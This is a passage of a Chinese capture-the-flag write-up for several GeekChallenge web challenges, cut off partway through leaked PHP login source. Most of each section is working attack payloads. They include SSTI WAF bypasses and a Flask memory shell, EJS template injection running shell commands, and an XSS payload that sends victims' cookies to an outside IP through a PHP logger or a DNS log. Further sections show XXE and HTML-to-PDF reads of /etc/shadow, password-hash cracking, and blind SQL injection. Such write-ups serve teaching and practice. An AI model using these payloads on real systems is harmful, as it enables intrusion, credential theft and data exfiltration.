.99.122.166:80CHALLENGE_019A7612_96BB_019A16A8_552D_PORT_8080_TCP=tcp://10.104.57.109:8080CHALLENGE_019A14B0_82BF_019A5E28_6651_PORT_80_TCP_PORT=80CHALLENGE_019A2B37_D8ED_019A9613_701A_SERVICE_HOST=10.96.11.188CHALLENGE_019A1374_D56D_019A7381_1057_PORT=tcp://10.107.214.69:9999CHALLENGE_019A7398_ED48_019A1162_6293_PORT_8000_TCP_PORT=8000CHALLENGE_019A530C_9ED2_019A20C5_9E59_PORT_8000_TCP_PORT=8000CHALLENGE_019A14B0_82BF_019A5E28_6651_PORT_80_TCP_PROTO=tcpCHALLENGE_019A09FC_908C_019AA131_E61B_PORT_3000_TCP_PORT=3000CHALLENGE_019A7612_86C2_019A20C9_35F3_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A0B81_40FF_019A14BA_6ADB_SERVICE_PORT=9999CHALLENGE_019A4F0F_6B59_019A15E8_AE0D_PORT_8080_TCP_PROTO=tcpCHALLENGE_019A0B81_40FF_019A14BA_6ADB_PORT=tcp://10.99.232.221:9999CHALLENGE_019A1374_D56D_019A7381_1057_SERVICE_PORT=9999CHALLENGE_019A14B0_CA72_019A1190_CEE3_SERVICE_PORT_PORT_80=80CHALLENGE_019A09FC_908C_019AA131_E61B_PORT_3000_TCP_PROTO=tcpCHALLENGE_019A7398_ED48_019A1162_6293_PORT_8000_TCP_PROTO=tcpCHALLENGE_019A530C_9ED2_019A20C5_9E59_PORT_8000_TCP_PROTO=tcpCHALLENGE_019A2A57_B142_019A6D63_4E2E_PORT=tcp://10.108.142.169:80CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_SERVICE_PORT=3000CHALLENGE_019A0B81_40FF_019A14BA_6ADB_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A2B37_D8ED_019A9613_701A_PORT_8080_TCP_PORT=8080CHALLENGE_019A2F96_3005_019A1196_988B_SERVICE_HOST=10.109.94.187CHALLENGE_019A530C_9ED2_019A20C9_35F3_PORT_8000_TCP=tcp://10.109.72.231:8000CHALLENGE_019A1374_D56D_019A7381_1057_SERVICE_PORT_PORT_9999=9999CHALLENGE_019A10D0_2FA4_019A5D0D_2D06_PORT=tcp://10.106.113.26:3000CHALLENGE_019A2A57_B142_019A6D63_4E2E_SERVICE_PORT=80HOME=/opt/___web_very_strange_42___

发现有提示

1
HINT=用我提个权吧

但是暂时用不上,猜测可能后面需要用env提权。

读取etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ctf:x:1000:1000::/opt/___web_very_strange_42___:/bin/sh

可以看到这里的home目录为

1
/opt/___web_very_strange_42___

猜测可能存在相关的web文件

读取**/opt/___web_very_strange_42___/app.py**

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os

app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"

USERS = {}


def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload


@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")


@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))


@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)

try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)


@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))

base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []

filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""

content = None
error = None

if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()

return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)

发现在profile路由处存在ssti模版注入漏洞,参数为name。

但是这里有waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""

if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")

return payload

如果payload长度不为114或514,就会将其中的左括号替换为空

如果payload长度为114或514,则会进行waf检测过滤

所以我们需要将payload长度凑成114或者514,否则无法进行命令执行。并且这里过滤了lipsum和cycler,所以我们首先先用脚本查找一下可用os模块的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import base64

url = "http://019aa126-6332-7619-a932-f40cc7e34d7b.geek.ctfplus.cn/profile?name="

cookie = {"session":"eyJ1c2VyIjoibWl4YnAifQ.aR8D9w.cCK132DtlfOMDKRS409peat9ZdQ"}

for i in range(100,200):
payload= url + "{{\"\"['__cla''ss__']['__ba''se__']['__subcl''asses__']()["+str(i)+"]}}1111111111111111111111111111111111111111111111111111" 用1来凑长度
try:
response = requests.get(payload,cookies=cookie)
# print(response.text)
if response.status_code == 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except Exception as e:
print(f"An error occurred: {e}") # 详细输出异常信息



#payload:
#{%set cnm=(''['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['__builtins__']['ch'+'r'])%}
#{%set cmd='cat /this_is_the_'~cnm(102)~'lag.txt'%}
#{%print(''['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['po'+'pen'](cmd)['read']())%}

这里成功查找到_frozen_importlib.BuiltinImporter类,编号为107

然后利用_frozen_importlib.BuiltinImporter类加载os模块来进行命令执行

1
/profile?name={{""['__cla''ss__']['__ba''se__']['__subcl''asses__']()[107]['load_module']('os')['popen']('ls').read()}}111111111

成功执行ls命令

1
欢迎:欢迎,Dockerfile app.py entrypoint.sh static story templates 111111111

但是这里很麻烦,我们需要根据执行命令的长度来更换1的个数,所以我们可以使用传参来替代直接写命令。

1
/profile?name={{""['__cla''ss__']['__ba''se__']['__subcl''asses__']()[107]['load_module']('os')['popen'](request.args.get('1')).read()}}11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&1=ls /

这里用request.args.get(‘1’)来输入命令,就可以直接固定payload了。

1
欢迎:欢迎,bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var 111111111111111111111111111111111111111111111111111111111111111111111111111

发现根目录下的flag,但是直接cat无法读取。

这时候想到前面的提示,利用env来提权

首先查找suid程序

1
find / -perm -4000 2>/dev/null

回显:

1
2
3
4
5
6
7
8
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/local/bin/env

发现env确实可以用来提权

https://gtfobins.github.io/gtfobins/env/

搜索env,得到提权方法

1
2
3
env /bin/sh
或者
/usr/local/bin/env cat /flag

所以最终payload:

1
/profile?name={{""['__cla''ss__']['__ba''se__']['__subcl''asses__']()[107]['load_module']('os')['popen'](request.args.get('1')).read()}}11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&1=env cat /flag

得到flag

1
SYC{D0nt_m@ke_w1sdom_awar3_of_Rules_019aa17d665e7d6aa2b514ede8880eb5}

大佬的payload:

1
2
3
4
5
6
7
8
9
{{ url_for[("__glo" ~ "bals__")]["os"].popen("ls / -al ").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#}


{{ url_for[("__glo" ~ "bals__")]["os"].popen("find / -perm -u=s -type f 2>/dev/null").read() }}{#AAAAAAAAAAAAAAA#}

{{ url_for[("__glo" ~ "bals__")]["os"].popen("/usr/local/bin/env whoami").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAAAAA#}


{{ url_for[("__glo" ~ "bals__")]["os"].popen("/usr/local/bin/env cat /flag").read() }}{#AAAAAAAAAAAAAAAAAAAAAAAA#}

或者内存马

1
{{(()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("__imp"+"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('cmd')).read());'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'")}}

Expression

一开始是一个简单的jwt伪造,但是伪造之后发现啥都没有,然后会回显用户名,但是尝试ssti也不行。看了题解才知道是ejs模版注入。

可以下载Wappalyzer插件,然后打开网站就能看到网站使用的是express框架和node.js,所以可以试试ejs模版注入。

在username处进行注入:

1
将username改为<%=7*7%>

jwt加解密网站:https://www.bejson.com/jwt/

前面爆破出的密钥:secret

可以看到回显了49,说明是EJS模版注入

payload:

1
2
3
4
5
6
7
8
9
10
<%= setInterval.constructor('return process')().mainModule.require('child_process').execSync('ls').toString(); %>

#
Dockerfile
node_modules
package-lock.json
package.json
public
server.js
views

查看环境变量:

1
2
3
4
<%= setInterval.constructor('return process')().mainModule.require('child_process').execSync('env').toString(); %>

或者
<%= process.env.FLAG %>

拿到flag

1
FLAG=SYC{019ac5b9e115742182eb643bb716a043}

Xross The Finish Line

打开发现是个留言板,看题目标题,大概率猜测为XSS注入

然后我尝试了一下发现过滤了很多东西,所以还是看题解

先尝试下

1
<script>alert(1)</script>

报错,说明有过滤,应该就是XSS然后要我们绕过

fuzz一下

script img 空格 单双引号都被过滤了

但是我们可以使用body标签进行script绕过

使用/**/绕过对空格的过滤

引号的话可以用反引号进行绕过

先在自己的vps上创建1.php

1
2
3
4
5
6
7
8
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.':
'. $cookie . "\n");
fclose($log);
?>

同时给一下权限chmod 777 1.php

然后在留言板输入我们的payload

1
2
<body/**/onload=location.href=`http://115.120.236.65:5555/xs/1.php?
cookie=`+document.cookie>

然后就会生成一个cookie.txt文件了

或者使用dns外带

1
2
<svg/onload=fetch(`//${document.cookie.replace(/[^a-z0-9]/gi,`-`).substring(0,55)}ewsz7d.dnslog.cn`,{method:`POST`})>


路在脚下

SSTI模板注入了,且是无回显

不出网

官方payload是需要ssti模版注入然后添加路由

1
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}

布尔盲注

1
{{ 1 / (1 if ''.__class__.__mro__[1].__subclasses__()[191].__init__.__globals__['os'].popen('printenv FLAG').read().strip()[{{int(0-52)}}] == '{{payload(ascii)}}' else 0) }}

Image Viewer

查看网页源码发现允许上传svg

1
2
3
4
5
  <form enctype="multipart/form-data" method="post" action="/render" class="card" style="margin-top:14px">
<input type="file" name="file" accept=".svg,image/svg+xml,.png,.jpg,.jpeg,.gif,image/*" />
<input class="btn primary" type="submit" value="Render">
</form>
</section>

本地写一个svg

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag">]>
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200">
<data>&xxe;</data>
</svg>

有返回图片

对payload改造一下

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200">
<text x="20" y="100" font-size="40" fill="red">&xxe;</text>
</svg>

官方payload:

1
2
3
4
5
6
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:/flag" >
]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>

步骤:

  1. XXE 读取文件内容
  2. 内容作为文本插入 SVG
  3. 文本被正常渲染到最终图片中
  4. 你下载图片就能直接看到 flag

PDF Viewer

这是一个能将html代码渲染之后转成pdf的网页

可以看到有一个管理员登录。爆破一下,没爆破出来。那大概率就是要登录了,密码需要读取

尝试读取etc/passwd

这里我们可以用JavaScript发送ajax请求

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<body>
<div id="content">正在读取文件...</div>

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/passwd', false);
try {
xhr.send();
document.getElementById('content').textContent = xhr.responseText;
} catch(e) {
document.getElementById('content').textContent = '读取失败: ' + e.toString();
}
</script>
</body>
</html>

大佬的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
<head>
<script>
window.onload= () =>{
const content =document.getElementById('content');
const xhr =new XMLHttpRequest();
xhr.open('GET','file:///etc/passwd',false);
xhr.send();
content.textContent=xhr.responseText||'Failed to read';
};
</script>
</head>
<body>
<h1>/etc/passwd</h1>
<pre id="content" style="font: 10px monospace;"></pre>
</body>
</html>

得到回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
avahi:x:104:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:105:108::/var/lib/geoclue:/usr/sbin/nologin
dave:x:1000:1000::/home/dave:/bin/bash
john:x:1001:1001::/home/john:/bin/bash
emma:x:1002:1002::/home/emma:/bin/bash
WeakPassword_Admin:x:1003:1003::/home/WeakPassword_Admin:/bin/bash

成功读取到/etc/passwd 再读一下/etc/shadow

/etc/shadow 是 Linux 系统中存储用户密码哈希的重要文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<body>
<div id="content">正在读取文件...</div>

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/shadow', false);
try {
xhr.send();
document.getElementById('content').textContent = xhr.responseText;
} catch(e) {
document.getElementById('content').textContent = '读取失败: ' + e.toString();
}
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
root:*:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7:::
sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: lp:*:19507:0:99999:7:::
mail:*:19507:0:99999:7::: news:*:19507:0:99999:7::: uucp:*:19507:0:99999:7::: proxy:*:19507:0:99999:7::: www-
data:*:19507:0:99999:7::: backup:*:19507:0:99999:7::: list:*:19507:0:99999:7::: irc:*:19507:0:99999:7:::
gnats:*:19507:0:99999:7::: nobody:*:19507:0:99999:7::: _apt:*:19507:0:99999:7::: systemd-
network:*:20398:0:99999:7::: systemd-resolve:*:20398:0:99999:7::: messagebus:*:20398:0:99999:7:::
avahi:*:20398:0:99999:7::: geoclue:*:20398:0:99999:7:::
dave:$1$SEKIaQZe$mpWroqFAsiIhRC/i3loON.:20398:0:99999:7:::
john:$1$2On/QORN$6hyMHbZB4zohuV6qvlAt0/:20398:0:99999:7:::
emma:$1$Jsu14ZWx$pIl5A9rEr8px17kpSDQXU0:20398:0:99999:7:::
WeakPassword_Admin:$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.:20398:0:99999:7:::

用户名得到了。

还有密码哈希:

1
$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf. 

MD5哈希解密工具使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
方法 1:使用 John the Ripper
步骤 1:准备哈希文件

创建一个文件 hash.txt,内容为:
text

$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf

步骤 2:使用 john 爆破
bash

# 使用默认字典
john hash.txt

# 使用指定字典(比如 rockyou.txt)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# 显示破解结果
john --show hash.txt







方法 2:使用 Hashcat
bash

# MD5 哈希的模式是 500
hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt

# 或者使用更简单的字典
hashcat -m 500 hash.txt -a 3 ?l?l?l?l?l?l # 尝试6位小写字母












方法 3:在线解密尝试

你也可以使用在线哈希解密网站:

https://crackstation.net/

https://www.onlinehashcrack.com/

https://md5decrypt.net/

join爆破一下 qwerty

1
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

成功

1
2
3
WeakPassword_Admin
qwerty
然后进行登录

得到flag


Sequal No

存在sql注入

只有3种回显

存在用户/不存在用户/非法输入

存在用户就是表达式为真

过滤了空格,布尔盲注表名

1
/check.php?name=1'or/**/substr((select/**/group_concat(name)/**/from/**/sqlite_master),1-100,1)='ascii可打印字符'--
1
/check.php?name=1%27or%2F%2A%2A%2Fsubstr%28%28select%2F%2A%2A%2Fgroup_concat%28name%29%2F%2A%2A%2Ffrom%2F%2A%2A%2Fsqlite_master%29%2C14%2C1%29%3D%27a%27--

注建表语句

1
1'or/**/substr((select/**/sql/**/from/**/sqlite_master/**/where/**/name='users'),{{int(0-200)}},1)='ascii可打印字符'--

最后得到表

1
users,sqlite_autoindex_users_1,sqlite_sequence

users的建表语句

1
2
3
4
5
6
7
CREATE TABLE users(
id INTEGER PRIMARY KEY,
username TEXT,
password TEXT,
is_active INTEGER, -- 或 BOOLEAN/TEXT
secret TEXT
);

flag在secret

1
1'or/**/substr((select/**/secret/**/from/**/users),N,1)='X'--
1
SYC{YourPoem-019a3f17b7bf78c1b78f4721beb44480}

eeeeezzzzzzZip

www.zip源码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<?php
// index.php
session_start();
error_reporting(0);

if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}

$salt = 'GeekChallenge_2025';
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
if (isset($_GET['f'])) {
$filename = basename($_GET['f']);
$fullpath = $SANDBOX . '/' . $filename;
if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
ob_start();
@include($fullpath);
$result = ob_get_clean();
} else {
$result = "文件不存在或非法类型。";
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>CloudZip 云压缩平台</title>
<style>
body {
background: #0d1117;
color: #e6e6e6;
font-family: "JetBrains Mono", Consolas, monospace;
margin: 0;
padding: 0;
}
header {
display: flex;
justify-content: space-between;
align-items: center;
background: #161b22;
padding: 12px 30px;
box-shadow: 0 2px 10px rgba(0,0,0,0.5);
}
header h1 {
color: #8ab4f8;
font-size: 20px;
letter-spacing: 1px;
}
header .user {
color: #b3b3b3;
font-size: 14px;
}
.container {
display: flex;
justify-content: center;
gap: 30px;
margin-top: 40px;
padding: 0 60px;
}
.card {
background: #1e242b;
border-radius: 12px;
box-shadow: 0 0 12px rgba(140, 82, 255, 0.2);
padding: 25px;
width: 40%;
}
h2 {
color: #c792ea;
font-size: 18px;
border-bottom: 1px solid #333;
padding-bottom: 6px;
}
.file-item {
background: #2a3139;
padding: 10px;
border-radius: 6px;
margin: 6px 0;
display: flex;
justify-content: space-between;
align-items: center;
}
.file-item span {
color: #9ccaff;
}
.file-item a {
color: #c792ea;
text-decoration: none;
}
.file-item a:hover {
text-decoration: underline;
}
input, button {
font-family: inherit;
border-radius: 6px;
outline: none;
}
input[type="text"] {
background: #161b22;
border: 1px solid #4f4f4f;
padding: 8px;
color: #ddd;
width: 80%;
}
button {
background: linear-gradient(90deg, #7e57c2, #9575cd);
border: none;
color: white;
font-weight: bold;
padding: 8px 18px;
cursor: pointer;
margin-left: 8px;
transition: all 0.2s;
}
button:hover {
background: linear-gradient(90deg, #9575cd, #b388ff);
box-shadow: 0 0 8px #7e57c2;
}
.result-box {
margin-top: 20px;
padding: 10px;
background: #151b22;
border: 1px dashed #444;
border-radius: 8px;
color: #9ccaff;
white-space: pre-wrap;
word-break: break-all;
}
.upload-hint {
font-size: 12px;
color: #888;
}
</style>
</head>
<body>

<header>
<h1>☁️ CloudZip 云压缩文件管理平台</h1>
<div class="user">
已登录: <strong><?php echo htmlspecialchars($_SESSION['user']); ?></strong>
&nbsp;|&nbsp;
<a href="upload.php" style="color:#9ccaff;">上传文件</a>
&nbsp;|&nbsp;
<a href="login.php" style="color:#ff8a65;">登出</a>
</div>
</header>

<div class="container">

<!-- 左侧 文件管理 -->
<div class="card">
<h2>📂 会话上传文件</h2>
<p class="upload-hint">目录: <code><?php echo htmlspecialchars($SANDBOX); ?></code></p>
<?php if (count($files) == 0): ?>
<p style="color:#666;">(当前会话目录暂无上传文件)</p>
<?php else: ?>
<?php foreach ($files as $f): ?>
<div class="file-item">
<span><?php echo htmlspecialchars($f); ?></span>
<a href="?f=<?php echo urlencode($f); ?>">Include</a>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>

<div class="card">
<h2>⚙️ 压缩包内容显示台</h2>
<form method="get">
<input type="text" name="f" placeholder="xxxx_xxx.zip" />
<button type="submit">输出</button>
</form>

<?php if ($result !== ''): ?>
<div class="result-box"><?php echo htmlspecialchars($result); ?></div>
<?php endif; ?>
</div>

</div>

</body>
</html>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
<?php
session_start();

$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['user'] ?? '';
$p = $_POST['pass'] ?? '';
if ($u === 'admin' && $p === 'guest123') {
$_SESSION['user'] = $u;
header("Location: index.php");
exit;
} else {
$err = '登录失败:用户名或密码错误';
}
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>登录 — CTF</title>
<style>
:root{
--bg:#0f1724;
--card:#0b1220;
--accent:#7c3aed;
--muted:#9aa4b2;
--glass: rgba(255,255,255,0.04);
}
*{box-sizing:border-box}
html,body{height:100%}
body{
margin:0;
font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;
background: linear-gradient(180deg, #071029 0%, #081226 60%);
color:#e6eef8;
display:flex;
align-items:center;
justify-content:center;
padding:24px;
}

.container{
width:100%;
max-width:420px;
background: linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01));
border-radius:14px;
padding:26px;
box-shadow: 0 8px 30px rgba(2,6,23,0.7), inset 0 1px 0 rgba(255,255,255,0.02);
border: 1px solid rgba(255,255,255,0.03);
